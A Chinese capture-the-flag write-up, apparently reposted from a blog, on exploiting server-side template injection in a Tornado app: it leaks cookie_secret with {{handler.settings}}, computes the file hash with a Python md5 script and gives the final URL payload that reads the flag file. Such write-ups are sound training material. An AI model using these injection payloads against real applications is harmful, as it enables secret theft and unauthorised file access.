三个文件的内容如下
flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))
百度render tornado,知道这是一个Python的渲染模板
python SSTI tornado render模板注入
我们注意到题目url中
尝试随便写写内容
我们对msg赋值{{1}}
确实存在模板注入漏洞
那目标明确,我们需要通过模板注入得到cookie_secret
msg={{handler.settings}}
得到
{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘c6de429b-753c-42f8-9bc8-574e72aab628’}
于是接下来就是写个小脚本把MD5值算出
import hashlib
# 简单版的md5加密返回密文函数
def md5(pw):
md = hashlib.md5() # 生成md5对像
md.update(pw.encode('utf-8')) # 加密,加密密码的时候,必须对密码进行编码,否则会报错
return md.hexdigest() # 返回16进制密文
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'c6de429b-753c-42f8-9bc8-574e72aab628'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
29e4f5b4c1080571a5389b30ad3d57fd
最终payload
file?filename=/fllllllllllllag&filehash=29e4f5b4c1080571a5389b30ad3d57fd
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)